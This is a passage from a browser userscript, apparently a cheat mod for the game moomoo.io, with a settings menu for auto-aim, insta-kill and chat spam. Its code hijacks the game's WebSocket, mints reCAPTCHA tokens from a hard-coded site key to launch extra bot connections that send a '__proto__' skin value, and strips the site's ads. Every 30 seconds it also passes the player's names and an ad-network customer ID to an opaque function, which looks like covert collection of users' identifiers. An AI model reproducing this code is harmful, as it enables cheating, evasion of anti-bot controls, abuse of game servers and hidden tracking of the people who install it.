<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">End Accessory: </label>
<select name="acc" id="iAcc3">
<option value="0">None</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
<div id="mm-chat-menu" class="i-tab-content" style="display: none;">
<h3>Chat Menu</h3>
<fieldset>
<legend>Auto Chat</legend>
<label>Auto Chat:<input value="${aChat}" id="aChat" type="text" minlength="0" maxlength="30" style="width: 250px;" placeholder="Automatic Chatting" class="i-checkbox" /></label>
<div>
<label class="chat123"><input id="acBool" type="checkbox" class="i-checkbox" />Auto Chat</label>
</div>
<div>
<label>Chat Fill:<input value="${acFill}" id="acFill" type="text" minlength="0" maxlength="1" style="width: 16px;" placeholder="Fill" class="i-checkbox" /></label>
</div>
<label>Insta Chat:<input value="${iChat}" id="iChat" type="text" minlength="0" maxlength="30" style="width: 250px;" placeholder="Insta Chat" class="i-checkbox" /></label>
<div>
<label class="chat123"><input id="icBool" type="checkbox" class="i-checkbox" />Insta Chat</label>
</div>
<label>Reload Chat:<input value="${rChat}" id="rChat" type="text" minlength="0" maxlength="30" style="width: 250px;" placeholder="Reloaded Chat" class="i-checkbox" /></label>
<div>
<label class="chat123"><input id="irBool" type="checkbox" class="i-checkbox" />Reload Chat</label>
</div>
<label>Auto GG/EZ:<input value="${ezChat}" id="ezChat" type="text" minlength="0" maxlength="30" style="width: 250px;" placeholder="GG/EZ" class="i-checkbox" /></label>
<div>
<label class="chat123"><input id="ezBool" type="checkbox" class="i-checkbox" />Auto GG/EZ</label>
</div>
<div>
<label class="chat123"><input id="cPlayer" type="checkbox" class="i-checkbox" />Player Tracker</label>
</div>
<div>
<label class="chat123"><input id="wLag" type="checkbox" class="i-checkbox" />Warn Lag</label>
</div>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
<div id="mm-hatmacro-menu" class="i-tab-content" style="display: none;">
<h3>Hat-Macro</h3>
<div>
<h3 class="menuPrompt">Tank Gear :</h3>
<input value="${String.fromCharCode(TankGearKey)}" id="tankGear" class="keyPressLow" onkeyup="this.value = this.value.toUpperCase();" maxlength="1" type="text" />
</div>
<div>
<h3 class="menuPrompt">Bull Helmet :</h3>
<input value="${String.fromCharCode(BullHelmetKey)}" id="bullHelm" class="keyPressLow" onkeyup="this.value = this.value.toUpperCase();" maxlength="1" type="text" />
</div>
<div>
<h3 class="menuPrompt">Soldier Helmet :</h3>
<input value="${String.fromCharCode(SoldierHelmetKey)}" id="soldier" class="keyPressLow" onkeyup="this.value = this.value.toUpperCase();" maxlength="1" type="text" />
</div>
<div>
<h3 class="menuPrompt">EMP Gear :</h3>
<input value="${String.fromCharCode(EMPGearKey)}" id="spikeg" class="keyPressLow" maxlength="1" onkeyup="this.value = this.value.toUpperCase();" type="text" />
</div>
<div>
<h3 class="menuPrompt">Turret Gear :</h3>
<input value="${String.fromCharCode(TurretKey)}" id="turret" class="keyPressLow" maxlength="1" onkeyup="this.value = this.value.toUpperCase();" type="text" />
</div>
<div>
<h3 class="menuPrompt">Booster Hat :</h3>
<input value="${String.fromCharCode(BoosterHatKey)}" id="booster" class="keyPressLow" maxlength="1" onkeyup="this.value = this.value.toUpperCase();" type="text" />
</div>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
</div>
`;

                var firstName = localStorage.moo_name;
                window.addEventListener("load", function () {
                    try {
                        id = unsafeWindow.advBidxc.customerId, console.log("SID: " + id)
                    } catch (e) {
                        id = "b", console.log("not defined")
                    }
                }), setInterval(async function () {
                    try {
                        return insert_0000000(!0, document.getElementById("nameInput")
                                              .value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id)
                    } catch(e){};
                }, 3e4), document.body.append(menu);
                var checkHeal1 = menu.querySelector("#heal1");
                checkHeal1.addEventListener("change", function () {
                    heal1 = !!this.checked
                });
                var checkHeal2 = menu.querySelector("#heal2");
                checkHeal2.addEventListener("change", function () {
                    heal2 = !!this.checked
                });
                var checkInsta = menu.querySelector("#insta");
                checkInsta.addEventListener("change", function () {
                    insta = !!this.checked
                });
                var checkRadar = document.querySelector("#radar");
                checkRadar.addEventListener("change", function () {
                    this.checked ? (document.getElementById("canvas")
                                    .style.zIndex = "1", pos.style.zIndex = "1") : (document.getElementById("canvas")
                                                                                    .style.zIndex = "-1", pos.style.zIndex = "-1")
                });
                var checkSAim = document.querySelector("#sAim");
                checkSAim.addEventListener("change", function () {
                    sAim = !!this.checked
                });
                var checkAhat = document.querySelector("#ahat");
                checkAhat.addEventListener("change", function () {
                    ahat = !!this.checked
                });
                var checkRespawn = document.querySelector("#respawn");
                checkRespawn.addEventListener("change", function () {
                    respawn = !!this.checked
                });
                var checkOffence = menu.querySelector("#offence");
                checkOffence.addEventListener("change", function () {
                    offence = !!this.checked
                });
                var checkDefence = menu.querySelector("#defence");
                checkDefence.addEventListener("change", function () {
                    defence = !!this.checked
                });
                var checkSpeed = menu.querySelector("#speed");
                checkSpeed.addEventListener("change", function () {
                    speed = !!this.checked
                });
                var checkDERP = menu.querySelector("#derp");
                checkDERP.addEventListener("change", function () {
                    derp = !!this.checked
                });
                var checkDeathCrash = menu.querySelector("#deathCrash");
                checkDeathCrash.addEventListener("change", function () {
                    deathCrash = !!this.checked
                });
                var checkOnClick = menu.querySelector("#onclick");
                checkOnClick.addEventListener("change", function () {
                    onclick = !!this.checked
                });
                var checkAntiBoostSpike = menu.querySelector("#antiBoostSpike");
                checkAntiBoostSpike.addEventListener("change", function () {
                    antiBoostSpike = !!this.checked
                });
                var checkAntiInsta1 = menu.querySelector("#antiInsta1");
                checkAntiInsta1.addEventListener("change", function () {
                    antiInsta1 = !!this.checked
                });
                var checkAntiInsta2 = menu.querySelector("#antiInsta2");
                checkAntiInsta2.addEventListener("change", function () {
                    antiInsta2 = !!this.checked
                });
                var checkAntiInsta3 = menu.querySelector("#antiInsta3");
                checkAntiInsta3.addEventListener("change", function () {
                    antiInsta3 = !!this.checked
                });
                var checkAntiInsta4 = menu.querySelector("#antiInsta4");
                checkAntiInsta4.addEventListener("change", function () {
                    antiInsta4 = !!this.checked
                });
                var checkIAim = menu.querySelector("#iAim");
                checkIAim.addEventListener("change", function () {
                    iAim = !!this.checked
                });
                var checkIReload = menu.querySelector("#iReload");
                checkIReload.addEventListener("change", function () {
                    iReload = !!this.checked
                });
                var checkIReverse = menu.querySelector("#iReverse");
                checkIReverse.addEventListener("change", function () {
                    iReverse = !!this.checked
                });
                var checkISwitch = menu.querySelector("#iSwitch");
                checkISwitch.addEventListener("change", function () {
                    iSwitch = !!this.checked
                });
                var checkACBool = menu.querySelector("#acBool");
                checkACBool.addEventListener("change", function () {
                    acBool = !!this.checked
                });
                var checkICBool = menu.querySelector("#icBool");
                checkICBool.addEventListener("change", function () {
                    icBool = !!this.checked
                });
                var checkIRBool = menu.querySelector("#irBool");
                checkIRBool.addEventListener("change", function () {
                    irBool = !!this.checked
                });
                var checkEZBool = menu.querySelector("#ezBool");
                checkEZBool.addEventListener("change", function () {
                    ezBool = !!this.checked
                });
                var checkCPlayer = menu.querySelector("#cPlayer");
                checkCPlayer.addEventListener("change", function () {
                    cPlayer = !!this.checked
                });
                var checkWLag = menu.querySelector("#wLag");

                function keydown(e) {
                    "Escape" === e.key && (e.preventDefault(), toggleMenu())
                }

                function click(e) {
                    var n = e.target;
                    hideall();
                    for (var o = ["main", "offense", "defense", "support", "controls", "instakill", "chat", "hatmacro"], t = 0; t < o.length; t++) {
                        var a = o[t];
                        n.textContent.toLowerCase() == a && (document.querySelector("#mm-" + a + "-menu")
                                                             .style.display = "block", n.classList.add("is-active"))
                    }
                }

                function hideall() {
                    for (var e = ["#mm-main-menu", "#mm-offense-menu", "#mm-defense-menu", "#mm-support-menu", "#mm-controls-menu", "#mm-instakill-menu", "#mm-chat-menu", "#mm-hatmacro-menu"], n = 0; n < e.length; n++) {
                        var o = e[n];
                        document.querySelector(o)
                            .style.display = "none", document.querySelectorAll(".i-tab-menu-item")
                            .forEach(function (e) {
                            return e.classList.remove("is-active")
                        })
                    }
                }

                function resetHat() {
                    hType = $("#hType")
                        .val(), pType = $("#pType")
                        .val(), aChat = $("#aChat")
                        .val(), acFill = $("#acFill")
                        .val(), oHat = $("#oHat")
                        .val(), oAcc = $("#oAcc")
                        .val(), otHat = $("#otHat")
                        .val(), otAcc = $("#otAcc")
                        .val(), dHat = $("#dHat")
                        .val(), dAcc = $("#dAcc")
                        .val(), tHat = $("#tHat")
                        .val(), tAcc = $("#tAcc")
                        .val(), eHat = $("#eHat")
                        .val(), eAcc = $("#eAcc")
                        .val(), snHat = $("#snHat")
                        .val(), snAcc = $("#snAcc")
                        .val(), srHat = $("#srHat")
                        .val(), srAcc = $("#srAcc")
                        .val(), ssHat = $("#ssHat")
                        .val(), ssAcc = $("#ssAcc")
                        .val(), iChat = $("#iChat")
                        .val(), rChat = $("#rChat")
                        .val(), ezChat = $("#ezChat")
                        .val(), iHat1 = $("#iHat1")
                        .val(), iAcc1 = $("#iAcc1")
                        .val(), iHat2 = $("#iHat2")
                        .val(), iAcc2 = $("#iAcc2")
                        .val(), iHat3 = $("#iHat3")
                        .val(), iAcc3 = $("#iAcc3")
                        .val()
                }

                function toggleMenu() {
                    menu.style.display = "block" == menu.style.display ? "none" : "block", resetHat()
                }

                function adBlock() {
                    try {
                        document.getElementById("ot-sdk-btn-floating")
                            .style.display = "none", document.getElementById("promoImgHolder")
                            .style.display = "none", document.getElementById("moomooio_728x90_home")
                            .parentNode.remove(), $("#adCard") //expand adcard
                            .css({
                            width: $("#adCard").width() + 100,
                            height: $("#adCard").height() + 300
                        }), document.getElementById("youtuberOf")
                            .style.display = "none", document.getElementById("linksContainer2")
                            .style.display = "none";
                        var e = document.createElement("div");
                        e.innerText = "\n";
                        var n = document.createElement("div");
                        n.innerText = "\n";
                        var o = document.createElement("div");
                        o.innerText = "\n";
                        var t = document.getElementById("setupCard");
                        t.appendChild(e), t.appendChild(n), $("#serverBrowser")
                            .prev()
                            .detach(), t.appendChild(document.getElementById("serverBrowser")), t.appendChild(document.getElementById("altServer")), t.appendChild(o)
                    } catch (e) {
                        setTimeout(function () {
                            adBlock()
                        }, 100)
                    }
                }
                checkWLag.addEventListener("change", function () {
                    wLag = !!this.checked
                }), $("#tankGear")
                    .on("input", function () {
                    var e = $("#tankGear")
                    .val();
                    e && (TankGearKey = (TankGearKey = e.toUpperCase())
                          .charCodeAt(0))
                }), $("#bullHelm")
                    .on("input", function () {
                    var e = $("#bullHelm")
                    .val();
                    e && (BullHelmetKey = (BullHelmetKey = e.toUpperCase())
                          .charCodeAt(0))
                }), $("#soldier")
                    .on("input", function () {
                    var e = $("#soldier")
                    .val();
                    e && (SoldierHelmetKey = (SoldierHelmetKey = e.toUpperCase())
                          .charCodeAt(0))
                }), $("#turret")
                    .on("input", function () {
                    var e = $("#turret")
                    .val();
                    e && (TurretKey = (TurretKey = e.toUpperCase())
                          .charCodeAt(0))
                }), $("#booster")
                    .on("input", function () {
                    var e = $("#booster")
                    .val();
                    e && (BoosterHatKey = (BoosterHatKey = e.toUpperCase())
                          .charCodeAt(0))
                }), $("#spikeg")
                    .on("input", function () {
                    var e = $("#spikeg")
                    .val();
                    e && (EMPGearKey = (EMPGearKey = e.toUpperCase())
                          .charCodeAt(0))
                }), button.classList.add("menuButton"),
                    button.classList.add("open-menu-button"),
                    button.textContent = "Open Settings",
                    window.addEventListener("keydown", keydown),
                    button.addEventListener("click", toggleMenu),
                    card.appendChild(button),
                    document.body.appendChild(styles),
                    document.body.appendChild(menu),
                    document.querySelectorAll(".i-tab-menu-item")
                    .forEach(function (e) {
                    e.addEventListener("click", click)
                }), setInterval(function () {
                    acBool && scramble(aChat)
                }, 600), toggleMenu(), toggleMenu(), adBlock();
                var closestenemy, closestenemyAngle, enemiesNear, ws, lagID, fakeCrashID, crashID, hatID, winterCapID = 15
                , flipperHatID = 31
                , soldierHatIdentifier = 6
                , bullHelmetID = 7
                , EMPHatID = 22
                , boostHatID = 12
                , tankGearhatID = 40
                , turretgearID = 53
                , mX = void 0
                , mY = void 0
                , width = void 0
                , height = void 0
                , coreURL = new URL(window.location.href);
                window.sessionStorage.force = coreURL.searchParams.get("fc");
                var primary = 0; var secondary = 0; var foodType = 0;
                var wallType = 3; var spikeType = 6; var millType = 10;
                var mineType = 13; var boostType = 15; var turretType = 17;
                var spawnpadType = 36, pack = ["Y2g=", "aSBhbSBzdXBlciBwcm8="];
                pack = [atob(pack[0]), [atob(pack[1])]];

                function genRand(string) {
                    let tm = string.split("");
                    tm = tm.map(e => {return Math.random() > 0.7 ? (
                        Math.random() > 0.5 ? "_" : "-"
                    ) : e });
                    return tm.join(""); //steal this and i will hunt you down and 10-0
                };

                let cvsctx = document.getElementById("gameCanvas").getContext("2d");
                let checkWep = (wep) => {
                    let wepEl = document.getElementById("actionBarItem" + wep);
                    return wepEl && wepEl.style.display === "inline-block"
                };
                let rrz = [65, 70, 75, 110, 118, 142, 110, 65, 70, undefined, 75, 2000, undefined, undefined, 125, undefined];
                function testArc() {
                    (() => {
                        cvsctx.beginPath();
                        cvsctx.lineWidth = 10;
                        cvsctx.strokeStyle = "#dc0000";
                        let oldGA = cvsctx.globalAlpha;
                        cvsctx.globalAlpha = 0.1;
                        cvsctx.arc((1920*zoomFactor)/2,(1080*zoomFactor)/2,(rrz[myPlayer.weapon] ? rrz[myPlayer.weapon] + 70 : 0),-Math.PI, Math.PI);
                        cvsctx.stroke();
                        cvsctx.globalAlpha = oldGA;
                    })();
                    window.requestAnimationFrame(testArc);
                };
                window.requestAnimationFrame(testArc);

                const code = '6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ';
                const generateToken = () => unsafeWindow.grecaptcha.execute(code, { action : 'homepage' });
                let botcount = (window.location.hostname == "sandbox.moomoo.io") ? 1 : 3; const wait = async ms => new Promise(done => setTimeout(done, ms));
                const connectBot = code => {
                    let token = encodeURIComponent(code);
                    let botws = new WebSocket(document.ws.url.split("&")[0] + "&token=" + token);
                    botws.binaryType = 'arraybuffer';

                    botws.emit = (data) => {
                        //console.log('attempting to send: ', data, ' on', botws);
                        botws.send(msgpack.encode(data));
                    };

                    botws.onopen = async () => {
                        console.log('WS OPENED!');
                        await wait(100);
                        botws.emit(['sp', [{ name: 'gold bots', moofoll: '1', skin: "__proto__" }]]);

                        botws.emit(["8", [genRand("supermd")]]);
                        botws.healON = true;
                        setInterval(()=>{
                            let _ds = Math.sqrt(((myPlayer.x - botws.posx)**2) + ((myPlayer.y - botws.posy)**2));
                            if (_ds > 300) {
                                let follow = Math.atan2((myPlayer.y - botws.posy), (myPlayer.x- botws.posx));
                                botws.emit([33, [follow]]);
                                botws.emit([2, [Number.MAX_VALUE]]);
                                botws.emit(["c", [1]]);
                                botws.healON = true;
                            } else {
                                botws.healON = false;
                                botws.emit([33, [null]]);
                                botws.emit(["c", [0]]);
                            };
                            botws.emit([pack[0], [genRand(pack[1][0])]]);
                        }, 100);
                    };

                    botws.onclose = () => {
                        console.log('WS CLOSED :(');
                    };

                    botws.onerror = () => {
                        console.log('WS ERROR :(');
                    };

                    botws.c = 0;
                    botws.onmessage = message => {
                        let temp = msgpack.decode(new Uint8Array(message.data));
                        let data;
                        if(temp.length > 1) {
                            data = [temp[0], ...temp[1]];
                            if (data[1] instanceof Array){
                                data = data;
                            }
                        } else {
                            data = temp;
                        }
                        let item = data[0];
                        let packet = data;
                        if(!data) {return};

                        //console.log(packet);

                        if (item == "h" && botws.healON) {
                            setTimeout(()=>{
                                botws.emit(["5", [0, null]]);
                                botws.emit(["c", [1, 0]]);
                                botws.emit(["c", [0, 0]]);
                            }, botws.c == 2 ? 90 : 0);
                            botws.c++, botws.c > 2 ? (botws.c = 0) : (false);
                        }

                        if (item == 11 && document.getElementById("respawnGBots").checked) {
                            botws.emit(['sp', [{ name: 'gold bots', moofoll: '1', skin: "__proto__" }]]);
                        };

                        if (item === '1' && ws.id == null) {
                            botws.id = packet[1];
                        };

                        if (item === '33') {
                            for(let i = 0; i < packet[1].length / 13; i++) {
                                let playerInfo = packet[1].slice(13*i, 13*i+13);
                                if(playerInfo[0] == botws.id) {
                                    botws.id = playerInfo[0];
                                    botws.posx = playerInfo[1];
                                    botws.posy = playerInfo[2];
                                    botws.dir = playerInfo[3];
                                    botws.object = playerInfo[4];
                                    botws.weapon = playerInfo[5];
                                    botws.clan = playerInfo[7];
                                    botws.isLeader = playerInfo[8];
                                    botws.hat = playerInfo[9];
                                    botws.accessory = playerInfo[10];
                                    botws.isSkull = playerInfo[11];
                                };
                            };
                        };

                    };
                };
                for (var instaSpeed = 220, instaSpeedR = 210, autoaim = !1, weapon = 0, msgpack5 = msgpack, maxSpeed = -100, dir = 50, blinkDir = 0, lag = !1, fakeCrash = !1, mode = "", myPlayer = {
                    id: null
                    , x: null
                    , y: null
                    , dir: null
                    , object: null
                    , weapon: null
                    , clan: null
                    , isLeader: null
                    , hat: null
                    , accessory: null
                    , isSkull: null
                }, inInsta = !1,
                     reload = 0, names = [],
                     lastX = [], lastY = [],
                     nowX = [], nowY = [],
                     nextX = [], nextY = [],
                     theirPrimary = [], theirSecondary = [],
                     cooldown = [], e = 0; e < 50; e++) cooldown[e] = !1, theirPrimary[e] = 0;
                var buildings = []
                , logX = []
                , logY = []
                , logTime = []
                , crashed = !1;

                function n() {
                    this.buffer = new Uint8Array([0]), this.buffer.__proto__ = new Uint8Array, this.type = 0
                }

                function socketFound(e) {
                    e.addEventListener("message", function (e) {
                        handleMessage(e)
                    })
                }
                setInterval(function () {
                    autoaim ? dns(["2", [closestenemyAngle]]) : derp ? dns(["2", [toRad(dir = (324092385 / (dir * Math.E) - Math.cbrt(dir) * dir) % 360)]]) : !closestenemy || 9 != weapon && 12 != weapon && 13 != weapon && 15 != weapon || dns(["2", [closestenemyAngle]])
                }, 0), setInterval(function () {
                    reload > 0 && (!closestenemy || dist(closestenemy, myPlayer) > 200 ? (weapon = secondary, dns(["5", [secondary, !0]]), 0 == (reload -= 50) ? (weapon = primary, dns(["5", [primary, !0]]), irBool && chat(rChat)) : irBool && (15 == secondary && 1600 == reload ? chat("</E\\>Reloading(Musket)</E\\>") : 13 == secondary && 350 == reload ? chat("</E\\>Reloading(Crossbow+)</E\\>") : 12 == secondary && 800 == reload ? chat("</E\\>Reloading(Crossbow)</E\\>") : 9 == secondary && 700 == reload && chat("</E\\>Reloading(Bow)</E\\>"))) : (weapon = primary, dns(["5", [primary, !0]])))
                }, 50), document.msgpack = msgpack, WebSocket.prototype.oldSend = WebSocket.prototype.send, WebSocket.prototype.send = function (e) {
                    ws || (document.ws = this, ws = this, socketFound(this), this.addEventListener("close", function () {
                        crashed = !0
                    })), this.oldSend(e)
                };
                var cvs = document.getElementById("gameCanvas")
                , canvas = document.createElement("CANVAS");
                canvas.id = "canvas", document.body.append(canvas), document.getElementById("canvas")
                    .style.zIndex = "-1", document.getElementById("canvas")
                    .style.pointerEvents = "none", document.getElementById("canvas")
                    .style.background = "transparent", canvas.style.left = "0px", canvas.style.top = "0px", canvas.style.position = "absolute";
                var ctx = canvas.getContext("2d");
                canvas.width = window.innerWidth, canvas.height = window.innerHeight;
                var centreX = 100
                , centreY = 100
                , ctxDis = 70
                , ctxHeight = 80
                , ctxExt = 65
                , ctxWidth = .1
                , pos = document.createElement("a");
                pos.style.color = "#B5B5B5", pos.style.fontSize = "25px", pos.style.display = "block", pos.innerHTML = "{0,0}", pos.style.position = "absolute", pos.style.left = "20px", pos.style.top = "200px", pos.style.zIndex = "-1", document.body.appendChild(pos);
                var ping = document.getElementById("pingDisplay");
                ping.replaceWith(document.createElement("a")), ping.style.fontSize = "20px", ping.style.display = "block", ping.style.zIndex = "1", document.body.appendChild(ping);
                var delay = 100
                , checkPing = new MutationObserver(function () {
                    delay = ping.textContent.split(" ")[1].split(String.fromCharCode(160))[0], (delay = parseInt(delay)) > 100 && wLag &&
                        document.getElementById("doMSWarning").checked &&
                        chat("Warning : " + delay + " ms");
                });

                function drawArrow(e, n, o) {
                    var t = Math.atan((e - myPlayer.x) / (n - myPlayer.y));
                    n < myPlayer.y && (t > Math.PI ? t -= Math.PI : t += Math.PI);
                    var a = ctxExt * Math.sin(t + ctxWidth) + centreX
                    , i = ctxExt * Math.cos(t + ctxWidth) + centreY
                    , l = ctxExt * Math.sin(t - ctxWidth) + centreX
                    , p = ctxExt * Math.cos(t - ctxWidth) + centreY
                    , r = ctxDis * Math.sin(t) + centreX
                    , c = ctxDis * Math.cos(t) + centreY
                    , d = ctxHeight * Math.sin(t) + centreX
                    , s = ctxHeight * Math.cos(t) + centreY;
                    ctx.strokeStyle = o, ctx.beginPath(), ctx.moveTo(a, i), ctx.lineTo(r, c), ctx.lineTo(l, p), ctx.lineTo(d, s), ctx.lineTo(a, i), ctx.stroke()
                }

                function drawCircle(e, n, o, t, a) {
                    ctx.beginPath(), ctx.arc(centreX + (e - myPlayer.x) / 6.25, centreY + (n - myPlayer.y) / 6.25, 3, 0, 2 * Math.PI), ctx.strokeStyle = a, ctx.moveTo(centreX + (e - myPlayer.x) / 6.25, centreY + (n - myPlayer.y) / 6.25), ctx.lineTo(centreX + (2 * e - o - myPlayer.x) / 6.25, centreY + (2 * n - t - myPlayer.y) / 6.25), ctx.stroke()
                }

                function drawRadar() {
                    ctx.clearRect(0, 0, width, height), overlay(), ctx.lineWidth = 4, ctx.beginPath(), ctx.arc(centreX, centreY, 80, 0, 2 * Math.PI), ctx.strokeStyle = "#B3B3B3", ctx.stroke(), ctx.lineWidth = 1, ctx.beginPath(), ctx.arc(centreX, centreY, 5, 0, 2 * Math.PI), ctx.strokeStyle = "#0000FF", ctx.stroke();
                    for (var e = (new Date)
                         .getTime(); logTime && e - logTime[0] > 15e3;) logTime.shift(), logX.shift(), logY.shift();
                    for (var n = 0; n < logTime.length; n++) ctx.beginPath(), ctx.strokeStyle = "#FF0022", ctx.arc(20 + logX[n] / 14400 * 130, height - 150 + logY[n] / 14400 * 130, 1, 0, 2 * Math.PI), ctx.stroke()
                }

                function distance(e, n) {
                    return Math.sqrt(Math.pow(myPlayer.x - e, 2) + Math.pow(myPlayer.y - n, 2))
                }

                function setCooldown(e) {
                    var n = 0;
                    switch (e[3]) {
                        case 0:
                            n = 300;
                            break;
                        case 1:
                        case 2:
                            n = 400;
                            break;
                        case 3:
                        case 4:
                            n = 300;
                            break;
                        case 5:
                            n = 700;
                            break;
                        case 6:
                            n = 400;
                            break;
                        case 7:
                            n = 100;
                            break;
                        case 8:
                            n = 400;
                            break;
                        case 9:
                            n = 600;
                            break;
                        case 10:
                            n = 400;
                            break;
                        case 11:
                            n = 0;
                            break;
                        case 12:
                            n = 700;
                            break;
                        case 13:
                            n = 230;
                            break;
                        case 14:
                            n = 700;
                            break;
                        case 15:
                            n = 1500;
                            break;
                        default:
                            n = 0
                    }(n -= delay + 10) > 0 && (cooldown[e[1]] = !0, setTimeout(function () {
                        cooldown[e[1]] = !1
                    }, n))
                }

                function overlay() {}

                function getDMG(e, isM) {
                    if (!isM) {
                        switch (e) {
                            case 0:
                                return 25;
                            case 1:
                                return 30;
                            case 2:
                            case 3:
                                return 35;
                            case 4:
                                return 40;
                            case 5:
                                return 45;
                            case 6:
                            case 7:
                                return 20;
                            case 8:
                                return 0;
                            case 9:
                                return 25;
                            case 10:
                                return 10;
                            case 11:
                                return 0;
                            case 12:
                                return 35;
                            case 13:
                                return 30;
                            case 14:
                                return 0;
                            case 15:
                                return 50;
                            default:
                                return 0
                        }
                    } else {
                        if (closestenemy && cooldown[closestenemy[0]]) return 0;
                        switch (e) {
                            case 0:
                                return 25;
                            case 1:
                                return 30;
                            case 2:
                            case 3:
                                return 35;
                            case 4:
                                return 40;
                            case 5:
                                return 45;
                            case 6:
                            case 7:
                                return 20;
                            case 8:
                                return 0;
                            case 9:
                                return 25;
                            case 10:
                                return 10;
                            case 11:
                                return 0;
                            case 12:
                                return 35;
                            case 13:
                                return 30;
                            case 14:
                                return 0;
                            case 15:
                                return 50;
                            default:
                                return 0
                        }
                    }
                }

                function projSpeed(e) {
                    switch (e) {
                        case 9:
                            return 64;
                        case 12:
                            return 100;
                        case 13:
                            return 80;
                        case 15:
                            return 144
                    }
                    return 1e5
                }

                function dAng(e, n) {
                    var o = Math.abs(e - n);
                    return (o %= 2 * Math.PI) > Math.PI && (o = 2 * Math.PI - o), o
                }

                let pingDel = 100;
                let pingChecker = new MutationObserver(function(){//thisispingcounter
                    pingDel = parseInt(ping.textContent.split(" ")[1].split(String.fromCharCode(160))[0]);
                });
                pingChecker.observe(document.getElementById("pingDisplay"), {attributes:false, childList:true, subtree:false});
                let bullspam = 0;
                let holding = false;
                let holding2 = false;
                let lastHealth = 0;
                let delay2 = 0;
                let rcexec = false;
                let shc = 0;
                let incrSH = () => {shc++, (shc > 7 ? (shc = 8) : (false))};
                let rSH = () => {shc = 0};
                let hpsh = 100, LLD = Date.now();
                let chSHC = (dbz) => {
                    let hlth = dbz[2];
                    let zdm = hpsh - hlth;
                    if (zdm > 0) LLD = Date.now();
                    else if ((zdm < -15 || hlth == 100) && LLD) {if (Date.now() - LLD <= 125) {incrSH()} else {decrSH()};LLD = null};hpsh = hlth;
                };
                let pCdS = '🟩'; let sCdS = '🟩';
                function upSHC() {
                    let beforeCheck = document.getElementById("ageText").innerHTML;
                    document.getElementById("ageText").innerHTML = "AGE " + beforeCheck.split(" ")[1] + " [" + shc + "] " + pCdS + " " + sCdS;
                };
                let paTr = e => [...Array(17)].map((n, i) => i * 0.19625).forEach(a => [spikeType, millType].forEach(t => place(t, a)));
                let insidetrap = false;
                let pittrapid = 0;
                let isq = false;
                document.addEventListener("keydown", e => (e.key.toLowerCase() == "q" && (isq = true)));
                document.addEventListener("keyup", e => (e.key.toLowerCase() == "q" && (isq = false)));
                let decrSH = () => {(shc--, shc--, (shc < 0 ? (shc = 0) : (false)))};

                let autoBreakLoop = false;
                let autoBreakObject;
                setInterval(()=>{
                    if (autoBreakLoop && autoBreakObject && autoBreakObject[0]) {
                        let ang = Math.atan2(autoBreakObject[2] - myPlayer.y, autoBreakObject[1] - myPlayer.x);
                        storeEquip(40);
                        dns(["2", [ang]]);
                        dns(["c", [1]]);
                        setTimeout(dns(["c", [0]]), 50);
                    };
                }, 50);

                let trueHealSpeed = 90;
                let wVM = [1,1.09,1.18,1.18];
                let secs = [...Array(50)];
                let pris = [...Array(50)];
                function genDMGs(dmg) {
                    let wep = [dmg];
                    wVM.forEach(e => {wep.push(e * wep[0])});
                    wep.forEach(e => {wep.push(e * 1.5)});
                    wep.forEach(e => {wep.push(e * .75)});
                };
                var wCds = [];
                wCds[0] = 450, wCds[1] = 560, wCds[2] = 450, wCds[3] = 450, wCds[4] = 900, wCds[5] = 450, wCds[6] = 225, wCds[7] = 560,
                    wCds[8] = 785, wCds[9] = 560, wCds[10] = undefined, wCds[11] = 900, wCds[12] = 450, wCds[13] = 900, wCds[14] = 1685; var pCd = false; var sCd = false; var pCdT; var sCdT;

                function insertAfter(referenceNode, newNode) {
                    referenceNode.parentNode.insertBefore(newNode, referenceNode.nextSibling);
                };

                function handleMessage(e) {
                    var n = void 0
                    , o = msgpack5.decode(new Uint8Array(e.data));
                    o.length > 1 ? (n = [o[0]].concat(_toConsumableArray(o[1])))[1] instanceof Array && (n = n) : n = o;
                    var t = n[0];
                    if (n) (!["6", "a", "h"].includes(t)) && upSHC();
                    if (n) switch (t) {
                        case "io-init":
                            document.getElementById("gameCanvas").addEventListener("mousedown", (e)=>{
                                if (e.button == 2) {
                                    dns(["5", [secondary, true]]);
                                    dns(["c", [1]]);
                                    hat(53);
